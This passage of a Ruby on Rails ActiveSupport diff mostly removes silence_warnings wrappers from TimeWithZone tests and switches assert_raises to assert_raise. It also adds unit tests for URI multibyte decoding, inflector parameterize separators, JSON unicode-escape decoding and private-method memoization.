- assert_equal 'EST', twz.zone
- twz = twz + 1
- assert_equal Time.utc(2006,4,2,3), twz.time # adding 1 sec springs forward to 3:00AM EDT
- assert_equal true, twz.dst?
- assert_equal 'EDT', twz.zone
- twz = twz - 1 # subtracting 1 second takes goes back to 1:59:59AM EST
- assert_equal Time.utc(2006,4,2,1,59,59), twz.time
- assert_equal false, twz.dst?
- assert_equal 'EST', twz.zone
- end
+ utc = Time.utc(2006,4,2,6,59,59) # == Apr 2 2006 01:59:59 EST; i.e., 1 second before daylight savings start
+ twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+ assert_equal Time.utc(2006,4,2,1,59,59), twz.time
+ assert_equal false, twz.dst?
+ assert_equal 'EST', twz.zone
+ twz = twz + 1
+ assert_equal Time.utc(2006,4,2,3), twz.time # adding 1 sec springs forward to 3:00AM EDT
+ assert_equal true, twz.dst?
+ assert_equal 'EDT', twz.zone
+ twz = twz - 1 # subtracting 1 second takes goes back to 1:59:59AM EST
+ assert_equal Time.utc(2006,4,2,1,59,59), twz.time
+ assert_equal false, twz.dst?
+ assert_equal 'EST', twz.zone
end
def test_plus_and_minus_enforce_fall_dst_rules
- silence_warnings do # silence warnings raised by tzinfo gem
- utc = Time.utc(2006,10,29,5,59,59) # == Oct 29 2006 01:59:59 EST; i.e., 1 second before daylight savings end
- twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
- assert_equal Time.utc(2006,10,29,1,59,59), twz.time
- assert_equal true, twz.dst?
- assert_equal 'EDT', twz.zone
- twz = twz + 1
- assert_equal Time.utc(2006,10,29,1), twz.time # adding 1 sec falls back from 1:59:59 EDT to 1:00AM EST
- assert_equal false, twz.dst?
- assert_equal 'EST', twz.zone
- twz = twz - 1
- assert_equal Time.utc(2006,10,29,1,59,59), twz.time # subtracting 1 sec goes back to 1:59:59AM EDT
- assert_equal true, twz.dst?
- assert_equal 'EDT', twz.zone
- end
+ utc = Time.utc(2006,10,29,5,59,59) # == Oct 29 2006 01:59:59 EST; i.e., 1 second before daylight savings end
+ twz = ActiveSupport::TimeWithZone.new(utc, @time_zone)
+ assert_equal Time.utc(2006,10,29,1,59,59), twz.time
+ assert_equal true, twz.dst?
+ assert_equal 'EDT', twz.zone
+ twz = twz + 1
+ assert_equal Time.utc(2006,10,29,1), twz.time # adding 1 sec falls back from 1:59:59 EDT to 1:00AM EST
+ assert_equal false, twz.dst?
+ assert_equal 'EST', twz.zone
+ twz = twz - 1
+ assert_equal Time.utc(2006,10,29,1,59,59), twz.time # subtracting 1 sec goes back to 1:59:59AM EDT
+ assert_equal true, twz.dst?
+ assert_equal 'EDT', twz.zone
end
def test_to_a
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal [45, 30, 5, 1, 2, 2000, 2, 32, false, "HST"], ActiveSupport::TimeWithZone.new( Time.utc(2000, 2, 1, 15, 30, 45), ActiveSupport::TimeZone['Hawaii'] ).to_a
- end
+ assert_equal [45, 30, 5, 1, 2, 2000, 2, 32, false, "HST"], ActiveSupport::TimeWithZone.new( Time.utc(2000, 2, 1, 15, 30, 45), ActiveSupport::TimeZone['Hawaii'] ).to_a
end
def test_to_f
@@ -334,22 +288,18 @@ class TimeWithZoneTest < Test::Unit::TestCase
end
def test_to_date
- silence_warnings do # silence warnings raised by tzinfo gem
- # 1 sec before midnight Jan 1 EST
- assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 4, 59, 59), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date
- # midnight Jan 1 EST
- assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 5, 0, 0), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date
- # 1 sec before midnight Jan 2 EST
- assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2, 4, 59, 59), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date
- # midnight Jan 2 EST
- assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2, 5, 0, 0), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date
- end
+ # 1 sec before midnight Jan 1 EST
+ assert_equal Date.new(1999, 12, 31), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 4, 59, 59), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date
+ # midnight Jan 1 EST
+ assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 1, 5, 0, 0), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date
+ # 1 sec before midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 1), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2, 4, 59, 59), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date
+ # midnight Jan 2 EST
+ assert_equal Date.new(2000, 1, 2), ActiveSupport::TimeWithZone.new( Time.utc(2000, 1, 2, 5, 0, 0), ActiveSupport::TimeZone['Eastern Time (US & Canada)'] ).to_date
end
def test_to_datetime
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal DateTime.civil(1999, 12, 31, 19, 0, 0, Rational(-18_000, 86_400)), @twz.to_datetime
- end
+ assert_equal DateTime.civil(1999, 12, 31, 19, 0, 0, Rational(-18_000, 86_400)), @twz.to_datetime
end
def test_acts_like_time
@@ -367,46 +317,44 @@ class TimeWithZoneTest < Test::Unit::TestCase
assert @twz.kind_of?(Time)
assert @twz.is_a?(ActiveSupport::TimeWithZone)
end
+
+ def test_class_name
+ assert_equal 'Time', ActiveSupport::TimeWithZone.name
+ end
def test_method_missing_with_time_return_value
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_instance_of ActiveSupport::TimeWithZone, @twz.months_since(1)
- assert_equal Time.utc(2000, 1, 31, 19, 0 ,0), @twz.months_since(1).time
- end
+ assert_instance_of ActiveSupport::TimeWithZone, @twz.months_since(1)
+ assert_equal Time.utc(2000, 1, 31, 19, 0 ,0), @twz.months_since(1).time
end
def test_marshal_dump_and_load
- silence_warnings do # silence warnings raised by tzinfo gem
- marshal_str = Marshal.dump(@twz)
- mtime = Marshal.load(marshal_str)
- assert_equal Time.utc(2000, 1, 1, 0), mtime.utc
- assert mtime.utc.utc?
- assert_equal ActiveSupport::TimeZone['Eastern Time (US & Canada)'], mtime.time_zone
- assert_equal Time.utc(1999, 12, 31, 19), mtime.time
- assert mtime.time.utc?
- assert_equal @twz.inspect, mtime.inspect
- end
+ marshal_str = Marshal.dump(@twz)
+ mtime = Marshal.load(marshal_str)
+ assert_equal Time.utc(2000, 1, 1, 0), mtime.utc
+ assert mtime.utc.utc?
+ assert_equal ActiveSupport::TimeZone['Eastern Time (US & Canada)'], mtime.time_zone
+ assert_equal Time.utc(1999, 12, 31, 19), mtime.time
+ assert mtime.time.utc?
+ assert_equal @twz.inspect, mtime.inspect
end
def test_marshal_dump_and_load_with_tzinfo_identifier
- silence_warnings do # silence warnings raised by tzinfo gem
- twz = ActiveSupport::TimeWithZone.new(@utc, TZInfo::Timezone.get('America/New_York'))
- marshal_str = Marshal.dump(twz)
- mtime = Marshal.load(marshal_str)
- assert_equal Time.utc(2000, 1, 1, 0), mtime.utc
- assert mtime.utc.utc?
- assert_equal 'America/New_York', mtime.time_zone.name
- assert_equal Time.utc(1999, 12, 31, 19), mtime.time
- assert mtime.time.utc?
- assert_equal @twz.inspect, mtime.inspect
- end
+ twz = ActiveSupport::TimeWithZone.new(@utc, TZInfo::Timezone.get('America/New_York'))
+ marshal_str = Marshal.dump(twz)
+ mtime = Marshal.load(marshal_str)
+ assert_equal Time.utc(2000, 1, 1, 0), mtime.utc
+ assert mtime.utc.utc?
+ assert_equal 'America/New_York', mtime.time_zone.name
+ assert_equal Time.utc(1999, 12, 31, 19), mtime.time
+ assert mtime.time.utc?
+ assert_equal @twz.inspect, mtime.inspect
end
-
+
def test_freeze
@twz.freeze
assert @twz.frozen?
end
-
+
def test_freeze_preloads_instance_variables
@twz.freeze
assert_nothing_raised do
@@ -416,66 +364,52 @@ class TimeWithZoneTest < Test::Unit::TestCase
end
def test_method_missing_with_non_time_return_value
- silence_warnings do # silence warnings raised by tzinfo gem
- @twz.time.expects(:foo).returns('bar')
- assert_equal 'bar', @twz.foo
- end
+ @twz.time.expects(:foo).returns('bar')
+ assert_equal 'bar', @twz.foo
end
def test_date_part_value_methods
- silence_warnings do # silence warnings raised by tzinfo gem
- twz = ActiveSupport::TimeWithZone.new(Time.utc(1999,12,31,19,18,17,500), @time_zone)
- twz.expects(:method_missing).never
- assert_equal 1999, twz.year
- assert_equal 12, twz.month
- assert_equal 31, twz.day
- assert_equal 14, twz.hour
- assert_equal 18, twz.min
- assert_equal 17, twz.sec
- assert_equal 500, twz.usec
- assert_equal 5, twz.wday
- assert_equal 365, twz.yday
- end
+ twz = ActiveSupport::TimeWithZone.new(Time.utc(1999,12,31,19,18,17,500), @time_zone)
+ twz.expects(:method_missing).never
+ assert_equal 1999, twz.year
+ assert_equal 12, twz.month
+ assert_equal 31, twz.day
+ assert_equal 14, twz.hour
+ assert_equal 18, twz.min
+ assert_equal 17, twz.sec
+ assert_equal 500, twz.usec
+ assert_equal 5, twz.wday
+ assert_equal 365, twz.yday
end
def test_usec_returns_0_when_datetime_is_wrapped
- silence_warnings do # silence warnings raised by tzinfo gem
- twz = ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone)
- assert_equal 0, twz.usec
- end
+ twz = ActiveSupport::TimeWithZone.new(DateTime.civil(2000), @time_zone)
+ assert_equal 0, twz.usec
end
def test_utc_to_local_conversion_saves_period_in_instance_variable
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_nil @twz.instance_variable_get('@period')
- @twz.time
- assert_kind_of TZInfo::TimezonePeriod, @twz.instance_variable_get('@period')
- end
+ assert_nil @twz.instance_variable_get('@period')
+ @twz.time
+ assert_kind_of TZInfo::TimezonePeriod, @twz.instance_variable_get('@period')
end
def test_instance_created_with_local_time_returns_correct_utc_time
- silence_warnings do # silence warnings raised by tzinfo gem
- twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31, 19))
- assert_equal Time.utc(2000), twz.utc
- end
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(1999, 12, 31, 19))
+ assert_equal Time.utc(2000), twz.utc
end
def test_instance_created_with_local_time_enforces_spring_dst_rules
- silence_warnings do # silence warnings raised by tzinfo gem
- twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,2,2)) # first second of DST
- assert_equal Time.utc(2006,4,2,3), twz.time # springs forward to 3AM
- assert_equal true, twz.dst?
- assert_equal 'EDT', twz.zone
- end
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,4,2,2)) # first second of DST
+ assert_equal Time.utc(2006,4,2,3), twz.time # springs forward to 3AM
+ assert_equal true, twz.dst?
+ assert_equal 'EDT', twz.zone
end
def test_instance_created_with_local_time_enforces_fall_dst_rules
- silence_warnings do # silence warnings raised by tzinfo gem
- twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,10,29,1)) # 1AM can be either DST or non-DST; we'll pick DST
- assert_equal Time.utc(2006,10,29,1), twz.time
- assert_equal true, twz.dst?
- assert_equal 'EDT', twz.zone
- end
+ twz = ActiveSupport::TimeWithZone.new(nil, @time_zone, Time.utc(2006,10,29,1)) # 1AM can be either DST or non-DST; we'll pick DST
+ assert_equal Time.utc(2006,10,29,1), twz.time
+ assert_equal true, twz.dst?
+ assert_equal 'EDT', twz.zone
end
def test_ruby_19_weekday_name_query_methods
@@ -486,15 +420,11 @@ class TimeWithZoneTest < Test::Unit::TestCase
end
def test_utc_to_local_conversion_with_far_future_datetime
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal [0,0,19,31,12,2049], ActiveSupport::TimeWithZone.new(DateTime.civil(2050), @time_zone).to_a[0,6]
- end
+ assert_equal [0,0,19,31,12,2049], ActiveSupport::TimeWithZone.new(DateTime.civil(2050), @time_zone).to_a[0,6]
end
def test_local_to_utc_conversion_with_far_future_datetime
- silence_warnings do # silence warnings raised by tzinfo gem
- assert_equal DateTime.civil(2050).to_f, ActiveSupport::TimeWithZone.new(nil, @time_zone, DateTime.civil(2049,12,31,19)).to_f
- end
+ assert_equal DateTime.civil(2050).to_f, ActiveSupport::TimeWithZone.new(nil, @time_zone, DateTime.civil(2049,12,31,19)).to_f
end
def test_change
@@ -782,42 +712,36 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < Test::Unit::TestCase
end
def test_in_time_zone
- silence_warnings do # silence warnings raised by tzinfo gem
- Time.use_zone 'Alaska' do
- assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone.inspect
- assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @dt.in_time_zone.inspect
- end
- Time.use_zone 'Hawaii' do
- assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @t.in_time_zone.inspect
- assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @dt.in_time_zone.inspect
- end
- Time.use_zone nil do
- assert_equal @t, @t.in_time_zone
- assert_equal @dt, @dt.in_time_zone
- end
+ Time.use_zone 'Alaska' do
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone.inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @dt.in_time_zone.inspect
+ end
+ Time.use_zone 'Hawaii' do
+ assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @t.in_time_zone.inspect
+ assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @dt.in_time_zone.inspect
+ end
+ Time.use_zone nil do
+ assert_equal @t, @t.in_time_zone
+ assert_equal @dt, @dt.in_time_zone
end
end
def test_in_time_zone_with_argument
- silence_warnings do # silence warnings raised by tzinfo gem
- Time.use_zone 'Eastern Time (US & Canada)' do # Time.zone will not affect #in_time_zone(zone)
- assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone('Alaska').inspect
- assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @dt.in_time_zone('Alaska').inspect
- assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @t.in_time_zone('Hawaii').inspect
- assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @dt.in_time_zone('Hawaii').inspect
- assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @t.in_time_zone('UTC').inspect
- assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @dt.in_time_zone('UTC').inspect
- assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone(-9.hours).inspect
- end
+ Time.use_zone 'Eastern Time (US & Canada)' do # Time.zone will not affect #in_time_zone(zone)
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone('Alaska').inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @dt.in_time_zone('Alaska').inspect
+ assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @t.in_time_zone('Hawaii').inspect
+ assert_equal 'Fri, 31 Dec 1999 14:00:00 HST -10:00', @dt.in_time_zone('Hawaii').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @t.in_time_zone('UTC').inspect
+ assert_equal 'Sat, 01 Jan 2000 00:00:00 UTC +00:00', @dt.in_time_zone('UTC').inspect
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', @t.in_time_zone(-9.hours).inspect
end
end
def test_in_time_zone_with_time_local_instance
- silence_warnings do # silence warnings raised by tzinfo gem
- with_env_tz 'US/Eastern' do
- time = Time.local(1999, 12, 31, 19) # == Time.utc(2000)
- assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', time.in_time_zone('Alaska').inspect
- end
+ with_env_tz 'US/Eastern' do
+ time = Time.local(1999, 12, 31, 19) # == Time.utc(2000)
+ assert_equal 'Fri, 31 Dec 1999 15:00:00 AKST -09:00', time.in_time_zone('Alaska').inspect
end
end
@@ -831,7 +755,7 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < Test::Unit::TestCase
def test_use_zone_with_exception_raised
Time.zone = 'Alaska'
- assert_raises RuntimeError do
+ assert_raise RuntimeError do
Time.use_zone('Hawaii') { raise RuntimeError }
end
assert_equal ActiveSupport::TimeZone['Alaska'], Time.zone
@@ -872,24 +796,20 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < Test::Unit::TestCase
end
def test_time_zone_setter_with_tzinfo_timezone_object_wraps_in_rails_time_zone
- silence_warnings do # silence warnings raised by tzinfo gem
- tzinfo = TZInfo::Timezone.get('America/New_York')
- Time.zone = tzinfo
- assert_kind_of ActiveSupport::TimeZone, Time.zone
- assert_equal tzinfo, Time.zone.tzinfo
- assert_equal 'America/New_York', Time.zone.name
- assert_equal(-18_000, Time.zone.utc_offset)
- end
+ tzinfo = TZInfo::Timezone.get('America/New_York')
+ Time.zone = tzinfo
+ assert_kind_of ActiveSupport::TimeZone, Time.zone
+ assert_equal tzinfo, Time.zone.tzinfo
+ assert_equal 'America/New_York', Time.zone.name
+ assert_equal(-18_000, Time.zone.utc_offset)
end
def test_time_zone_setter_with_tzinfo_timezone_identifier_does_lookup_and_wraps_in_rails_time_zone
- silence_warnings do # silence warnings raised by tzinfo gem
- Time.zone = 'America/New_York'
- assert_kind_of ActiveSupport::TimeZone, Time.zone
- assert_equal 'America/New_York', Time.zone.tzinfo.name
- assert_equal 'America/New_York', Time.zone.name
- assert_equal(-18_000, Time.zone.utc_offset)
- end
+ Time.zone = 'America/New_York'
+ assert_kind_of ActiveSupport::TimeZone, Time.zone
+ assert_equal 'America/New_York', Time.zone.tzinfo.name
+ assert_equal 'America/New_York', Time.zone.name
+ assert_equal(-18_000, Time.zone.utc_offset)
end
def test_time_zone_setter_with_non_identifying_argument_returns_nil
@@ -908,14 +828,12 @@ class TimeWithZoneMethodsForTimeAndDateTimeTest < Test::Unit::TestCase
end
def test_current_returns_time_zone_now_when_zone_default_set
- silence_warnings do # silence warnings raised by tzinfo gem
- Time.zone_default = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
- with_env_tz 'US/Eastern' do
- Time.stubs(:now).returns Time.local(2000)
- assert_equal true, Time.current.is_a?(ActiveSupport::TimeWithZone)
- assert_equal 'Eastern Time (US & Canada)', Time.current.time_zone.name
- assert_equal Time.utc(2000), Time.current.time
- end
+ Time.zone_default = ActiveSupport::TimeZone['Eastern Time (US & Canada)']
+ with_env_tz 'US/Eastern' do
+ Time.stubs(:now).returns Time.local(2000)
+ assert_equal true, Time.current.is_a?(ActiveSupport::TimeWithZone)
+ assert_equal 'Eastern Time (US & Canada)', Time.current.time_zone.name
+ assert_equal Time.utc(2000), Time.current.time
end
ensure
Time.zone_default = nil
diff --git a/activesupport/test/core_ext/uri_ext_test.rb b/activesupport/test/core_ext/uri_ext_test.rb
new file mode 100644
index 0000000000..0837d3cb2d
--- /dev/null
+++ b/activesupport/test/core_ext/uri_ext_test.rb
@@ -0,0 +1,12 @@
+require 'abstract_unit'
+require 'uri'
+
+class URIExtTest < Test::Unit::TestCase
+ def test_uri_decode_handle_multibyte
+ str = "\xE6\x97\xA5\xE6\x9C\xAC\xE8\xAA\x9E" # Ni-ho-nn-go in UTF-8, means Japanese.
+ str.force_encoding(Encoding::UTF_8) if str.respond_to?(:force_encoding)
+
+ assert_equal str, URI.unescape(URI.escape(str))
+ assert_equal str, URI.decode(URI.escape(str))
+ end
+end
diff --git a/activesupport/test/dependencies_test.rb b/activesupport/test/dependencies_test.rb
index fe04b91f2b..a21f09403f 100644
--- a/activesupport/test/dependencies_test.rb
+++ b/activesupport/test/dependencies_test.rb
@@ -43,7 +43,7 @@ class DependenciesTest < Test::Unit::TestCase
end
def test_missing_dependency_raises_missing_source_file
- assert_raises(MissingSourceFile) { require_dependency("missing_service") }
+ assert_raise(MissingSourceFile) { require_dependency("missing_service") }
end
def test_missing_association_raises_nothing
@@ -136,10 +136,10 @@ class DependenciesTest < Test::Unit::TestCase
def test_non_existing_const_raises_name_error
with_loading 'autoloading_fixtures' do
- assert_raises(NameError) { DoesNotExist }
- assert_raises(NameError) { NoModule::DoesNotExist }
- assert_raises(NameError) { A::DoesNotExist }
- assert_raises(NameError) { A::B::DoesNotExist }
+ assert_raise(NameError) { DoesNotExist }
+ assert_raise(NameError) { NoModule::DoesNotExist }
+ assert_raise(NameError) { A::DoesNotExist }
+ assert_raise(NameError) { A::B::DoesNotExist }
end
end
@@ -206,8 +206,8 @@ class DependenciesTest < Test::Unit::TestCase
def failing_test_access_thru_and_upwards_fails
with_loading 'autoloading_fixtures' do
assert ! defined?(ModuleFolder)
- assert_raises(NameError) { ModuleFolder::Object }
- assert_raises(NameError) { ModuleFolder::NestedClass::Object }
+ assert_raise(NameError) { ModuleFolder::Object }
+ assert_raise(NameError) { ModuleFolder::NestedClass::Object }
Object.__send__ :remove_const, :ModuleFolder
end
end
@@ -382,7 +382,7 @@ class DependenciesTest < Test::Unit::TestCase
with_loading 'autoloading_fixtures' do
require_dependency '././counting_loader'
assert_equal 1, $counting_loaded_times
- assert_raises(ArgumentError) { ActiveSupport::Dependencies.load_missing_constant Object, :CountingLoader }
+ assert_raise(ArgumentError) { ActiveSupport::Dependencies.load_missing_constant Object, :CountingLoader }
assert_equal 1, $counting_loaded_times
end
end
@@ -421,7 +421,7 @@ class DependenciesTest < Test::Unit::TestCase
def test_nested_load_error_isnt_rescued
with_loading 'dependencies' do
- assert_raises(MissingSourceFile) do
+ assert_raise(MissingSourceFile) do
RequiresNonexistent1
end
end
@@ -494,7 +494,7 @@ class DependenciesTest < Test::Unit::TestCase
def test_unloadable_should_fail_with_anonymous_modules
with_loading 'autoloading_fixtures' do
m = Module.new
- assert_raises(ArgumentError) { m.unloadable }
+ assert_raise(ArgumentError) { m.unloadable }
end
end
@@ -584,7 +584,7 @@ class DependenciesTest < Test::Unit::TestCase
end
def test_new_constants_in_with_illegal_module_name_raises_correct_error
- assert_raises(NameError) do
+ assert_raise(NameError) do
ActiveSupport::Dependencies.new_constants_in("Illegal-Name") {}
end
end
diff --git a/activesupport/test/inflector_test.rb b/activesupport/test/inflector_test.rb
index d8c93dc9ae..6b9fbd3156 100644
--- a/activesupport/test/inflector_test.rb
+++ b/activesupport/test/inflector_test.rb
@@ -116,6 +116,12 @@ class InflectorTest < Test::Unit::TestCase
end
end
+ def test_parameterize_with_multi_character_separator
+ StringToParameterized.each do |some_string, parameterized_string|
+ assert_equal(parameterized_string.gsub('-', '__sep__'), ActiveSupport::Inflector.parameterize(some_string, '__sep__'))
+ end
+ end
+
def test_classify
ClassNameToTableName.each do |class_name, table_name|
assert_equal(class_name, ActiveSupport::Inflector.classify(table_name))
@@ -161,13 +167,13 @@ class InflectorTest < Test::Unit::TestCase
assert_nothing_raised { assert_equal Ace::Base::Case, ActiveSupport::Inflector.constantize("::Ace::Base::Case") }
assert_nothing_raised { assert_equal InflectorTest, ActiveSupport::Inflector.constantize("InflectorTest") }
assert_nothing_raised { assert_equal InflectorTest, ActiveSupport::Inflector.constantize("::InflectorTest") }
- assert_raises(NameError) { ActiveSupport::Inflector.constantize("UnknownClass") }
- assert_raises(NameError) { ActiveSupport::Inflector.constantize("An invalid string") }
- assert_raises(NameError) { ActiveSupport::Inflector.constantize("InvalidClass\n") }
+ assert_raise(NameError) { ActiveSupport::Inflector.constantize("UnknownClass") }
+ assert_raise(NameError) { ActiveSupport::Inflector.constantize("An invalid string") }
+ assert_raise(NameError) { ActiveSupport::Inflector.constantize("InvalidClass\n") }
end
def test_constantize_does_lexical_lookup
- assert_raises(NameError) { ActiveSupport::Inflector.constantize("Ace::Base::InflectorTest") }
+ assert_raise(NameError) { ActiveSupport::Inflector.constantize("Ace::Base::InflectorTest") }
end
def test_ordinal
diff --git a/activesupport/test/inflector_test_cases.rb b/activesupport/test/inflector_test_cases.rb
index 481c3e835c..584cbff3e7 100644
--- a/activesupport/test/inflector_test_cases.rb
+++ b/activesupport/test/inflector_test_cases.rb
@@ -99,7 +99,8 @@ module InflectorTestCases
"prize" => "prizes",
"edge" => "edges",
- "cow" => "kine"
+ "cow" => "kine",
+ "database" => "databases"
}
CamelToUnderscore = {
@@ -153,6 +154,22 @@ module InflectorTestCases
"Squeeze separators" => "squeeze-separators"
}
+ StringToParameterizeWithNoSeparator = {
+ "Donald E. Knuth" => "donaldeknuth",
+ "Random text with *(bad)* characters" => "randomtextwithbadcharacters",
+ "Trailing bad characters!@#" => "trailingbadcharacters",
+ "!@#Leading bad characters" => "leadingbadcharacters",
+ "Squeeze separators" => "squeezeseparators"
+ }
+
+ StringToParameterizeWithUnderscore = {
+ "Donald E. Knuth" => "donald_e_knuth",
+ "Random text with *(bad)* characters" => "random_text_with_bad_characters",
+ "Trailing bad characters!@#" => "trailing_bad_characters",
+ "!@#Leading bad characters" => "leading_bad_characters",
+ "Squeeze separators" => "squeeze_separators"
+ }
+
# Ruby 1.9 doesn't do Unicode normalization yet.
if RUBY_VERSION >= '1.9'
StringToParameterizedAndNormalized = {
diff --git a/activesupport/test/json/decoding_test.rb b/activesupport/test/json/decoding_test.rb
index 558b03b90d..8fe40557d6 100644
--- a/activesupport/test/json/decoding_test.rb
+++ b/activesupport/test/json/decoding_test.rb
@@ -1,3 +1,4 @@
+# encoding: UTF-8
require 'abstract_unit'
class TestJSONDecoding < Test::Unit::TestCase
@@ -10,6 +11,8 @@ class TestJSONDecoding < Test::Unit::TestCase
%({"returnTo":[1,"\\"a\\",", "b"]}) => {"returnTo" => [1, "\"a\",", "b"]},
%({a: "'", "b": "5,000"}) => {"a" => "'", "b" => "5,000"},
%({a: "a's, b's and c's", "b": "5,000"}) => {"a" => "a's, b's and c's", "b" => "5,000"},
+ # multibyte
+ %({"matzue": "松江", "asakusa": "浅草"}) => {"matzue" => "松江", "asakusa" => "浅草"},
%({a: "2007-01-01"}) => {'a' => Date.new(2007, 1, 1)},
%({a: "2007-01-01 01:12:34 Z"}) => {'a' => Time.utc(2007, 1, 1, 1, 12, 34)},
# no time zone
@@ -25,7 +28,11 @@ class TestJSONDecoding < Test::Unit::TestCase
%(null) => nil,
%(true) => true,
%(false) => false,
- %q("http:\/\/test.host\/posts\/1") => "http://test.host/posts/1"
+ %q("http:\/\/test.host\/posts\/1") => "http://test.host/posts/1",
+ %q("\u003cunicode\u0020escape\u003e") => "<unicode escape>",
+ %q("\\\\u0020skip double backslashes") => "\\u0020skip double backslashes",
+ %q({a: "\u003cbr /\u003e"}) => {'a' => "<br />"},
+ %q({b:["\u003ci\u003e","\u003cb\u003e","\u003cu\u003e"]}) => {'b' => ["<i>","<b>","<u>"]}
}
TESTS.each do |json, expected|
@@ -37,6 +44,6 @@ class TestJSONDecoding < Test::Unit::TestCase
end
def test_failed_json_decoding
- assert_raises(ActiveSupport::JSON::ParseError) { ActiveSupport::JSON.decode(%({: 1})) }
+ assert_raise(ActiveSupport::JSON::ParseError) { ActiveSupport::JSON.decode(%({: 1})) }
end
end
diff --git a/activesupport/test/json/encoding_test.rb b/activesupport/test/json/encoding_test.rb
index 2c5b4d0378..7d2eedad61 100644
--- a/activesupport/test/json/encoding_test.rb
+++ b/activesupport/test/json/encoding_test.rb
@@ -75,7 +75,7 @@ class TestJSONEncoding < Test::Unit::TestCase
def test_exception_raised_when_encoding_circular_reference
a = [1]
a << a
- assert_raises(ActiveSupport::JSON::CircularReferenceError) { a.to_json }
+ assert_raise(ActiveSupport::JSON::CircularReferenceError) { a.to_json }
end
def test_hash_key_identifiers_are_always_quoted
diff --git a/activesupport/test/memoizable_test.rb b/activesupport/test/memoizable_test.rb
index 069ae27eb2..b03178900f 100644
--- a/activesupport/test/memoizable_test.rb
+++ b/activesupport/test/memoizable_test.rb
@@ -4,10 +4,12 @@ class MemoizableTest < Test::Unit::TestCase
class Person
extend ActiveSupport::Memoizable
- attr_reader :name_calls, :age_calls
+ attr_reader :name_calls, :age_calls, :is_developer_calls
+
def initialize
@name_calls = 0
@age_calls = 0
+ @is_developer_calls = 0
end
def name
@@ -31,6 +33,14 @@ class MemoizableTest < Test::Unit::TestCase
end
memoize :name, :age
+
+ private
+
+ def is_developer?
+ @is_developer_calls += 1
+ "Yes"
+ end
+ memoize :is_developer?
end
class Company
@@ -115,8 +125,13 @@ class MemoizableTest < Test::Unit::TestCase
end
def test_memorized_results_are_immutable
- assert_equal "Josh", @person.name
- assert_raise(ActiveSupport::FrozenObjectError) { @person.name.gsub!("Josh", "Gosh") }
+ # This is purely a performance enhancement that we can revisit once the rest of
+ # the code is in place. Ideally, we'd be able to do memoization in a freeze-friendly
+ # way without amc hacks
+ pending do
+ assert_equal "Josh", @person.name
+ assert_raise(ActiveSupport::FrozenObjectError) { @person.name.gsub!("Josh", "Gosh") }
+ end
end
def test_reloadable
@@ -223,4 +238,15 @@ class MemoizableTest < Test::Unit::TestCase
company.memoize :name
assert_raise(RuntimeError) { company.memoize :name }
end
+
+ def test_private_method_memoization
+ person = Person.new
+
+ assert_raise(NoMethodError) { person.is_developer? }
+ assert_equal "Yes", person.send(:is_developer?)
+ assert_equal 1, person.is_developer_calls
+ assert_equal "Yes", person.send(:is_developer?)
+ assert_equal 1, person.is_developer_calls
+ end
+
end
diff --git a/activesupport/test/message_encryptor_test.rb b/activesupport/test/message_encryptor_test.rb
index c0b4a4658c..ed3461571a 100644
